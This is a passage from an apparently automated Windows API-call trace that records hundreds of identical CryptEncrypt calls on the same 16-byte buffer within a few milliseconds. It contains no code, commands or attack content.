hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.532] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.533] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.534] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.535] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.536] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 